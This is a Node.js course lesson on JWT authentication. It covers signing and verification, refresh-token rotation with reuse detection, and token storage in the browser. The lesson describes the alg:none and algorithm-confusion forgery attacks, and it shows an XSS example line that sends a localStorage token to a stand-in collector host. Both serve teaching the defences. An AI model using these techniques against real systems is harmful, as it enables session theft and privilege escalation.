The sessions from the previous lesson work and they are a great option. But they also left two bills on the table: they demand shared state (Redis as soon as there is more than one process) and they fit badly outside the browser, which is exactly where Escena Viva wants to go with a ticket-validation app at the door of Auditorio Ribera.
JSON Web Tokens turn the approach around: instead of keeping the state on the server and handing the client an opaque pointer, you hand over signed information and the server merely verifies the signature. It sounds ideal, which is why it is so often used badly. We are going to see what is really inside a JWT, why signing is not encrypting, which specific attacks must be blocked, and how to solve the problem nobody can ignore: a JWT cannot be revoked.
Contents
- Anatomy of a JSON Web Token
- Decoding one by hand in the REPL
- HS256 versus RS256
- Standard and custom claims
jsonwebtoken: signing and verifying- The
alg: noneand algorithm confusion attacks - The secret in the configuration
- The real problem: they cannot be revoked
- The Escena Viva pattern: short access + rotating refresh
- Implementation:
src/services/tokens.js - Login, refresh and logout routes
- The
authenticatemiddleware - Where NOT to store the token in the browser
- Classic mistakes, exercises and conclusion
- Anatomy of a JSON Web Token
A JWT is three parts separated by dots: eyJhbGciOiJIUzI1NiJ9 (header) . eyJzdWIiOiI2NGYwMDEiLCJyb2xlIjoiYXR0ZW5kZWUifQ (payload) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (signature).
The header states which algorithm signs the token; the payload holds the claims, the statements we assert; the signature proves the two preceding parts have not been modified. The first two are encoded in base64url, the variant we met in Module 3 with Buffers: it uses - and _ instead of + and /, and drops the = padding so the token travels cleanly in URLs and headers. And here is the point to burn into memory:
base64urlis not encryption, it is encoding. Anyone holding the token can read its contents. Signing is not encrypting.
Signing guarantees integrity and authenticity (nobody modified it, it was issued by who it claims), not confidentiality.
- Decoding one by hand in the REPL
Let us prove it without libraries, using what we know from Module 3:
// node
const [header, payload, signature] = token.split('.');
// Buffer.from with 'base64url': natively supported (module 3).
JSON.parse(Buffer.from(header, 'base64url').toString('utf8'));
// { alg: 'HS256', typ: 'JWT' }
JSON.parse(Buffer.from(payload, 'base64url').toString('utf8'));
// { sub: '64f001', role: 'attendee', iat: 1755120000, exp: 1755120900 }
signature.length; // 43 characters: 32 bytes of HMAC-SHA256 in base64urlNo secret, no library, no permission: we have just read the entire contents. Practical consequences: never put a password, a hash, a card number or an internal note inside a JWT; assume the user will see their role, their sub and their exp (that is fine, they are theirs); and if you genuinely need confidentiality, JWE exists, although it is almost always simpler not to put secrets in there at all. What nobody can do without the secret is change "role":"attendee" into "role":"administrator" and produce a valid signature: verify rejects it.
- HS256 versus RS256
| HS256 (HMAC-SHA256) | RS256 (RSA + SHA256) | |
|---|---|---|
| Type | Symmetric: one shared secret | Asymmetric: private key signs, public key verifies |
| Who can sign | Everyone who can verify | Only whoever holds the private key |
| Signature size / speed | 32 bytes, very fast | 256 bytes, slow signing |
| When to use it | A single service issues and verifies | Several services verify, one issues |
The decision rule: if the same system issues and verifies, HS256 is perfect and simpler. If you need third-party services to verify without being able to issue — microservices, an external identity provider — you need RS256 (or ES256, with elliptic curves, more compact): you hand out the public key without fear because it cannot forge anything. Escena Viva is a single Node service today, so HS256, isolated in one module so that migrating the day microservices arrive means changing one file.
- Standard and custom claims
| Claim | Meaning | Use in Escena Viva |
|---|---|---|
sub (subject) |
Who the token identifies | The user id |
iat / exp |
When it was issued and when it expires (epoch in seconds) | Auditing; 15-minute access |
nbf (not before) |
Not valid before this date | We do not use it |
iss / aud |
Who issued it and who it is for | escena-viva-api / escena-viva-clients |
jti (JWT ID) |
Unique identifier of the token | On the refresh token, to revoke it |
Ours: role (attendee, organizer, administrator) and, for organizers, venue. Two rules about the contents: nothing sensitive, because anyone can read it; and nothing bulky, because the token travels in a header on every request and can bump into the usual 8 KB limits of proxies and servers. And a warning we return to in 08-05: role inside the token is a snapshot taken at issue time; if an administrator demotes an organizer, their token will keep saying organizer until it expires. That is why the access token is short.
jsonwebtoken: signing and verifying
jsonwebtoken: signing and verifying// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const token = jwt.sign({ role: 'attendee' }, configuration.jwtAccessSecret,
{ subject: '64f001', expiresIn: '15m', issuer: 'escena-viva-api',
audience: 'escena-viva-clients', algorithm: 'HS256' });
const payload = jwt.verify(token, configuration.jwtAccessSecret, {
algorithms: ['HS256'], // THE MOST IMPORTANT LINE: allowlist of algorithms
issuer: 'escena-viva-api', audience: 'escena-viva-clients',
clockTolerance: 5, // margin for clock drift between machines
});verify checks, in this order: that the signature is valid, that exp has not passed, that nbf has arrived, and that iss and aud match. If anything fails it throws an exception; it never returns an invalid token. The errors to distinguish: TokenExpiredError (valid signature, exp passed → the client must refresh), JsonWebTokenError (wrong signature, broken format, mismatched iss/aud) and NotBeforeError (nbf in the future).
- The
alg: none and algorithm confusion attacks
alg: none and algorithm confusion attacksThis section explains why the algorithms list is not optional.
The alg: none attack. The specification contemplates an algorithm called none, meant for tokens already protected by some other means. The attack is brazen: the attacker sends the header {"alg":"none","typ":"JWT"}, the payload {"sub":"64f001","role":"administrator","exp":9999999999} and an empty signature. If the library listens to the header when deciding how to verify, it concludes there is nothing to verify and accepts the token: the attacker has made themselves an administrator by writing JSON. Algorithm confusion (RS256 → HS256). Subtler and more elegant. Suppose the server uses RS256 and publishes its public key, as it should. The attacker changes the header to "alg":"HS256", signs the token with HMAC using the public key as the secret, and the server reads alg: HS256, grabs "its key" — the public one, the only one it has — and uses it as the HMAC secret. The signature checks out.
The underlying flaw is the same in both cases: letting the attacker choose the verification algorithm. The defense is one line:
// NEVER: jwt.verify(token, secret) <- accepts whatever the header says
jwt.verify(token, secret, { algorithms: ['HS256'] }); // ALWAYSModern versions of jsonwebtoken already mitigate much of this, but pinning algorithms explicitly remains mandatory: it is the defense that does not depend on which version ends up installed. General rule: the verification policy is decided by whoever verifies, never by the message that arrives.
- The secret in the configuration
// src/config/index.js (fragment added in module 8)
const jwtAccessSecret = process.env.JWT_ACCESS_SECRET;
const jwtRefreshSecret = process.env.JWT_REFRESH_SECRET;
// Validate at startup: fail fast and loudly.
if (nodeEnv === 'production') {
for (const [name, value] of Object.entries({ jwtAccessSecret, jwtRefreshSecret })) {
if (!value || value.length < 32) { throw new Error(`${name} must be 32+ characters long`); }
}
// Different secrets: a refresh token must never pass as an access token.
if (jwtAccessSecret === jwtRefreshSecret) { throw new Error('They must be different'); }
}Generating a proper secret: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 random bytes (384 bits) is comfortably enough for HS256; a memorable phrase will not do, because the attack against a weak HMAC secret is an offline dictionary attack against any captured token. One secret per purpose, never shared, and never in the repository (.env has been in .gitignore since Module 5). To rotate, keep a list [current, previous]: you sign with the first and verify against all of them until the old ones expire. Secret management in production is wrapped up in Module 11.
- The real problem: they cannot be revoked
A JWT is valid until it expires, and the server gets no say. That is a direct consequence of its virtue: if there is no state, there is nothing to delete.
| Situation | With a session | With pure JWT |
|---|---|---|
| Lucía clicks "sign out" | The session is destroyed: out instantly | The token still works; it was only deleted from the client |
| An organizer is demoted | New role on the very next request | Still an organizer until it expires |
| Account compromised or password changed | Their sessions are deleted | No way to kick them out: the tokens live on |
The usual answers and an honest verdict on each: a blacklist of revoked tokens works, but it reintroduces the state that justified using JWT in the first place; very short tokens shrink the window without eliminating it, and force frequent re-authentication; checking on every request whether the user is still active is one query per request… which is exactly what a session does. The industry's mature answer combines the first two, and that is the one we adopt.
- The Escena Viva pattern: short access + rotating refresh
| Access token | Refresh token | |
|---|---|---|
| Lifetime | 15 minutes | 30 days |
| Where it lives on the client | In JavaScript memory | HttpOnly+Secure+SameSite=Strict cookie |
| How it travels | Authorization: Bearer |
Automatically, only to /auth/refresh |
| Server state / revocable | None; not revocable (expires in 15 min) | Its hash in the database; revocable instantly |
The idea: the token used constantly is not revocable but barely lasts; the token that lasts is revocable and is hardly ever used. The damage from a stolen access token is capped at 15 minutes; a refresh token can be killed in the database. We add two indispensable refinements: rotation (every use of the refresh token invalidates it and issues a new one, so a captured refresh token only works once) and reuse detection (the refresh tokens of a single sign-in form a family; if an already-consumed one arrives, either the attacker used the stolen one and the legitimate one arrives later, or the other way round, and in both cases the entire family is revoked).
sequenceDiagram
participant C as Client
participant A as API
participant D as MongoDB
C->>A: POST /auth/login
A->>D: Store hash(R1), family F, used=false
A-->>C: {accessToken (15 min)} + Set-Cookie ev.refresh=R1
Note over C,A: 15 minutes later, the access token expires
C->>A: GET /api/orders (expired Bearer)
A-->>C: 401 TOKEN_EXPIRED
C->>A: POST /auth/refresh (Cookie: ev.refresh=R1)
A->>D: hash(R1) valid and unused
A->>D: Mark R1 used; store hash(R2) in family F
A-->>C: {new accessToken} + Set-Cookie ev.refresh=R2
Note over C,A: An attacker reuses the stolen R1
C->>A: POST /auth/refresh (Cookie: ev.refresh=R1)
A->>D: hash(R1) exists but used=true -> REUSE
A->>D: Revoke the WHOLE family F
A-->>C: 401: you must sign in again
- Implementation:
src/services/tokens.js
src/services/tokens.jsThe RefreshToken model stores userId, the SHA-256 hash of the token (never the token: if the database leaks, the stored refresh tokens are useless), a familyId shared by the whole chain of one sign-in, the used and revoked flags, the userAgent for the "my devices" screen, and expiresAt with a TTL index.
// src/services/tokens.js
'use strict';
const jwt = require('jsonwebtoken');
const { randomBytes, randomUUID, createHash } = require('node:crypto');
const { configuration } = require('../config/index.js');
const { RefreshToken } = require('../models/refresh-token.js');
const { AuthenticationError } = require('../errors.js');
const ISSUER = 'escena-viva-api';
const AUDIENCE = 'escena-viva-clients';
const ACCESS_LIFETIME = '15m';
const REFRESH_LIFETIME_MS = 30 * 24 * 60 * 60 * 1000;
const hashToken = (token) => createHash('sha256').update(token).digest('hex');
function signAccessToken(user) {
return jwt.sign({ role: user.role, venue: user.assignedVenue || undefined },
configuration.jwtAccessSecret, { subject: String(user.id), expiresIn: ACCESS_LIFETIME,
issuer: ISSUER, audience: AUDIENCE, algorithm: 'HS256' });
}
function verifyAccessToken(token) {
try {
const payload = jwt.verify(token, configuration.jwtAccessSecret, {
algorithms: ['HS256'], // allowlist: blocks alg:none and confusion
issuer: ISSUER, audience: AUDIENCE, clockTolerance: 5,
});
return { id: payload.sub, role: payload.role, venue: payload.venue || null };
} catch (error) {
// We distinguish expired from invalid: the client needs to know whether
// to refresh or to sign in again.
if (error.name === 'TokenExpiredError') {
throw new AuthenticationError('The access token has expired', { reason: 'TOKEN_EXPIRED' });
}
throw new AuthenticationError('Invalid access token', { reason: 'INVALID_TOKEN' });
}
}
async function issueRefreshToken(userId, options = {}) {
const familyId = options.familyId || randomUUID();
// Opaque 256-bit token: it does not need to be a JWT because it is always
// looked up in the database. Less surface, less to verify.
const token = randomBytes(32).toString('base64url');
await RefreshToken.create({ userId, familyId, tokenHash: hashToken(token),
userAgent: options.userAgent || null,
expiresAt: new Date(Date.now() + REFRESH_LIFETIME_MS) });
return { token, familyId };
}
async function revokeFamily(familyId) {
await RefreshToken.updateMany({ familyId }, { $set: { revoked: true } });
}
async function rotateRefreshToken(token, options = {}) {
const record = await RefreshToken.findOne({ tokenHash: hashToken(token) });
if (!record || record.revoked || record.expiresAt.getTime() < Date.now()) {
throw new AuthenticationError('Invalid session', { reason: 'INVALID_REFRESH' });
}
if (record.used) {
// REUSE: either it was stolen and is being used now, or they used it and
// the legitimate one is arriving. There is no telling which, so the whole
// family goes down.
await revokeFamily(record.familyId);
throw new AuthenticationError('Session revoked for security reasons', { reason: 'REFRESH_REUSED' });
}
record.used = true;
await record.save();
// The new one inherits the family: the chain stays traceable.
const fresh = await issueRefreshToken(record.userId, {
familyId: record.familyId, userAgent: options.userAgent });
return { userId: String(record.userId), ...fresh };
}
module.exports = { signAccessToken, verifyAccessToken, issueRefreshToken, rotateRefreshToken,
revokeFamily, hashToken, REFRESH_LIFETIME_MS };An important design note: the refresh token is not a JWT. Since it is looked up in the database on every use, being self-contained buys nothing; an opaque random value is shorter, simpler and drags along none of the attacks from section 6.
- Login, refresh and logout routes
// src/controllers/authentication.js (JWT excerpt)
const COOKIE_NAME = 'ev.refresh';
const cookieOptions = () => ({
httpOnly: true, // XSS cannot read it
secure: configuration.nodeEnv === 'production', // HTTPS only
sameSite: 'strict', // anti CSRF on /refresh
path: '/auth/refresh', // never travels to the rest of the API
maxAge: REFRESH_LIFETIME_MS,
});
async function loginJwt(req, res, next) {
try {
const user = req.authenticatedUser; // left there by the 08-02 verification
const { token } = await issueRefreshToken(user.id, { userAgent: req.get('user-agent') });
res.cookie(COOKIE_NAME, token, cookieOptions());
// The access token goes in the BODY: the client keeps it in memory, not in
// localStorage (section 13).
res.json({ accessToken: signAccessToken(user), expiresInSeconds: 900,
user: { id: user.id, name: user.name, role: user.role } });
} catch (error) { next(error); }
}
async function refresh(req, res, next) {
try {
const oldToken = req.cookies[COOKIE_NAME];
if (!oldToken) {
throw new AuthenticationError('There is no session to refresh', { reason: 'MISSING_REFRESH' });
}
const { userId, token } = await rotateRefreshToken(oldToken, { userAgent: req.get('user-agent') });
// The user is re-read: that way the role in the new token is UP TO DATE,
// which is what keeps the frozen-role problem contained.
const user = await User.findById(userId).lean();
if (!user) { throw new AuthenticationError('Invalid session'); }
res.cookie(COOKIE_NAME, token, cookieOptions());
res.json({ expiresInSeconds: 900, accessToken: signAccessToken(
{ id: userId, role: user.role, assignedVenue: user.assignedVenue }) });
} catch (error) { next(error); }
}
async function logoutJwt(req, res, next) {
try {
const token = req.cookies[COOKIE_NAME];
if (token) {
const record = await RefreshToken.findOne({ tokenHash: hashToken(token) });
// The FAMILY is revoked: the whole chain from that sign-in goes down.
if (record) { await revokeFamily(record.familyId); }
}
res.clearCookie(COOKIE_NAME, { ...cookieOptions(), maxAge: undefined });
res.status(204).end();
} catch (error) { next(error); }
}Be honest about what this logout achieves and what it does not: it revokes the refresh token instantly, but the access token the client already holds stays valid for up to 15 minutes. For critical operations (cancelling tickets, changing roles) you have to check the user's state in the database, not just the signature.
POST /auth/refresh HTTP/1.1
Host: api.escenaviva.test
Cookie: ev.refresh=Qm5x...
HTTP/1.1 200 OK
Set-Cookie: ev.refresh=Zt7p...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Max-Age=2592000
{ "accessToken": "eyJhbGciOiJIUzI1NiIs...", "expiresInSeconds": 900 }
- The
authenticate middleware
authenticate middleware// src/middleware/authenticate.js
'use strict';
const { verifyAccessToken } = require('../services/tokens.js');
const { AuthenticationError } = require('../errors.js');
function extractToken(req) {
const header = req.get('authorization');
if (!header) { return null; }
const [scheme, value] = header.split(' ');
// The scheme is compared case-insensitively (RFC 7235).
if (!value || scheme.toLowerCase() !== 'bearer') { return null; }
return value.trim();
}
function authenticate(req, res, next) {
try {
const token = extractToken(req);
if (!token) {
throw new AuthenticationError('The access token is missing', { reason: 'MISSING_TOKEN' });
}
req.user = verifyAccessToken(token); // throws, distinguishing expired from invalid
next();
} catch (error) { next(error); }
}
// For public routes that get richer when there is a session (for instance,
// flagging the events the user has already bought).
function optionalAuthenticate(req, res, next) {
const token = extractToken(req);
if (!token) { return next(); }
try {
req.user = verifyAccessToken(token);
} catch {
// Bad token on a public route: ignored, browsing is not broken.
}
next();
}
module.exports = { authenticate, optionalAuthenticate };The 401 cases, distinguished by reason so the client knows what to do:
reason |
Situation | What the client should do |
|---|---|---|
MISSING_TOKEN |
No Authorization header |
Go to the login page |
TOKEN_EXPIRED |
Good signature, exp passed |
Call /auth/refresh and retry |
INVALID_TOKEN |
Bad signature, mismatched iss/aud, broken format |
Go to the login page; possible tampering |
REFRESH_REUSED |
Reuse detected | Login required; warn the user |
Notice that req.user has exactly the same shape as the one requireSession left behind in 08-03. That is why the controllers and the authorization layer of 08-05 work identically with a session or with a JWT.
- Where NOT to store the token in the browser
| Place | Reachable by JS | Verdict |
|---|---|---|
localStorage / sessionStorage |
Yes | No for long-lived credentials |
| A variable in memory | Only your own code | Recommended for the access token |
HttpOnly cookie |
No | Recommended for the refresh token |
localStorage is visible to all the JavaScript on the page, including anything an XSS injects and anything a third-party dependency brings along. A malicious script runs fetch('https://collector.test/r?t=' + localStorage.getItem('token')) and it is over. With an HttpOnly cookie it cannot: document.cookie does not see it. An attacker with XSS can still make requests from the victim's page — XSS is always serious — but they cannot exfiltrate the credential to use later from somewhere else and for 30 days. That difference between "damage while the tab is open" and "account compromised indefinitely" is exactly what we are buying. And that is why the access token lives in memory: if it is lost on reload, one call to /auth/refresh (with the automatic cookie) returns a new one. It is the "silent refresh on startup" pattern.
Common Mistakes and Tips
jwt.decode()instead ofjwt.verify().decodedoes not check the signature: it only reads. Using it to authenticate is equivalent to having no authentication at all. Equally serious: omittingalgorithmsinverify, or putting sensitive data in the payload believing it travels encrypted.- Extremely long access tokens ("7 days, that way I never bother the user"): a stolen token works for a week.
- Storing the refresh token in
localStorageand throwing away the entire benefit ofHttpOnly; or not rotating it, so a stolen refresh token grants permanent access. - Trusting the token's
rolefor a critical action without re-reading the database (08-05), or using the same secret for access and refresh, so a refresh token could pass as an access token. - Not handling the 401 on the client: with no refresh-and-retry logic, the user sees random failures every 15 minutes.
- Putting the token in the URL (
?token=...): it ends up in proxy logs, in browsing history and in theRefererheader.
Exercises
Exercise 1: inspect and forge
In the Node REPL: (a) decode the payload of the token from section 2; (b) build a tampered token by changing "role":"attendee" into "role":"administrator", reusing the original signature; (c) verify it with jwt.verify and explain what happens and why.
Exercise 2: a client with automatic refresh
Write authenticatedRequest(url, options) for the front-end: it uses the access token held in memory; if it gets a 401 with reason: 'TOKEN_EXPIRED', it calls /auth/refresh, stores the new token and retries exactly once; on any other 401, it sends the user to the login page.
Exercise 3: single-device session
Escena Viva wants an attendee to have only one active session: signing in on a new device must knock out the previous one. Describe the changes to issueRefreshToken and explain what limit this measure has with respect to the access token.
Solutions
Exercise 1
const [head, payload, signature] = token.split('.');
const data = JSON.parse(Buffer.from(payload, 'base64url').toString('utf8'));
data.role = 'administrator';
const forgedToken = `${head}.${Buffer.from(JSON.stringify(data)).toString('base64url')}.${signature}`;
try { jwt.verify(forgedToken, secret, { algorithms: ['HS256'] }); }
catch (error) { console.log(error.name); } // JsonWebTokenError: invalid signatureThe signature is computed over header.payload; change a single byte of the payload and the recomputed HMAC no longer matches the attached signature. Reading the token is trivial; modifying it is impossible without the secret. That is exactly what "signing is not encrypting" means: there is no confidentiality, there is integrity.
Exercise 2
let accessToken = null; // in memory, never in localStorage
async function authenticatedRequest(url, options = {}, retried = false) {
const response = await fetch(url, { ...options,
headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
credentials: 'include' }); // required so the refresh cookie travels
if (response.status !== 401) { return response; }
const body = await response.clone().json().catch(() => ({}));
// We only refresh when the reason is expiry, and only once: without that
// limit, a failing refresh produces an infinite loop.
if (body?.error?.details?.reason === 'TOKEN_EXPIRED' && !retried) {
const refreshResponse = await fetch('/auth/refresh', { method: 'POST', credentials: 'include' });
if (refreshResponse.ok) {
({ accessToken } = await refreshResponse.json());
return authenticatedRequest(url, options, true);
}
}
accessToken = null;
window.location.href = '/login';
return response;
}In production it is also worth queueing concurrent requests while a refresh is in flight, so you do not fire five refreshes at once and trigger reuse detection against yourself.
Exercise 3. In issueRefreshToken, before creating the new record, revoke every one belonging to the user: if (options.singleDevice) { await RefreshToken.updateMany({ userId, revoked: false }, { $set: { revoked: true } }); }.
The limit: the previous device's access token stays valid for up to 15 minutes, because it cannot be revoked; the other device keeps access during that window and only falls when it tries to refresh. If the requirement is an instant cut-off, you have to add a database check per request — and at that moment you are paying the cost of a session, which is precisely the design decision analyzed in 08-03.
Conclusion
We now know what a JWT really is: three base64url parts — header, payload and signature — with contents readable by anyone, because signing guarantees integrity and authenticity, not confidentiality. We know when HS256 and when RS256, which standard claims exist and why the token must stay light and secret-free. We hardened verify with explicit algorithms, understanding the alg: none and algorithm confusion attacks that one line neutralizes. And we faced the underlying problem — JWTs cannot be revoked — with the mature solution: a 15-minute access token in the client's memory, a 30-day refresh token in an HttpOnly+Secure+SameSite=Strict cookie, stored hashed, rotated on every use and with reuse detection that takes down the entire family.
Escena Viva now knows who is making each request: req.user is verified, with its id and its role, whether by session or by token. What is missing is the other half of lesson 08-01: what each of them may do. An attendee must not read another attendee's orders; the organizer of Sala Bóveda must not publish events belonging to Teatro Almendra; only an administrator changes roles. In the next lesson, Role-Based Access Control, we build the complete permission matrix, the requireRole middleware with its 403 cleanly separated from the 401, and the piece RBAC does not cover and that causes the most common vulnerability in APIs: resource ownership.
Node.js Course: From Beginner to Advanced
Module 1: Introduction to Node.js
- What Is Node.js?
- Installing and Setting Up the Environment
- Your First Node.js Program
- The Node.js REPL
- Modern JavaScript for Node.js
- The Course Project: the Escena Viva Platform
Module 2: Core Concepts
- Node.js Architecture
- The Event Loop
- Callbacks and Asynchronous Programming
- Promises and async/await
- Events and EventEmitter
- CommonJS Modules and require()
- ES Modules and Interoperability
Module 3: File System and I/O
- Reading and Writing Files
- The fs Module in Depth
- Cross-Platform Paths with the path Module
- Working with Streams
- Transform Streams and pipeline
- Buffers and Binary Data
Module 4: HTTP and Web Servers
- Creating a Simple HTTP Server
- Handling Requests and Responses
- Manual Routing
- Serving Static Files
- Receiving Data: Request Bodies and JSON
- Consuming External APIs from Node.js
Module 5: NPM and Package Management
- Introduction to NPM and package.json
- Installing and Using Packages
- Semantic Versioning and package-lock
- npm Scripts and Project Automation
- Creating and Publishing Packages
- Dependency Security and Maintenance
Module 6: The Express.js Framework
- Introduction to Express.js
- Setting Up an Express Application
- Routing in Express
- Middleware
- Essential Third-Party Middleware
- Input Data Validation
- Error Handling
Module 7: Databases and ORMs
- Introduction to Databases
- Using MongoDB with Mongoose
- CRUD Operations
- Relationships, Population and Advanced Queries
- Using SQL Databases with Sequelize
- Migrations, Transactions and Seed Data
Module 8: Authentication and Authorization
- Introduction to Authentication
- User Registration and Password Hashing
- Sessions and Cookies with Passport.js
- Authentication with JWT
- Role-Based Access Control
- API Security Best Practices
Module 9: Testing and Debugging
- Introduction to Testing
- Unit Testing with Mocha and Chai
- Test Doubles with Sinon
- Integration Testing
- Coverage and Test Automation
- Debugging Node.js Applications
Module 10: Advanced Topics
- The Cluster Module
- Worker Threads
- Caching and Job Queues with Redis
- Performance Optimization
- Building RESTful APIs
- GraphQL with Node.js
Module 11: Deployment and DevOps
- Configuration and Environment Variables
- Logging and Monitoring in Production
- Using PM2 for Process Management
- Packaging with Docker
- Deploying to Heroku and Other PaaS
- Continuous Integration and Deployment
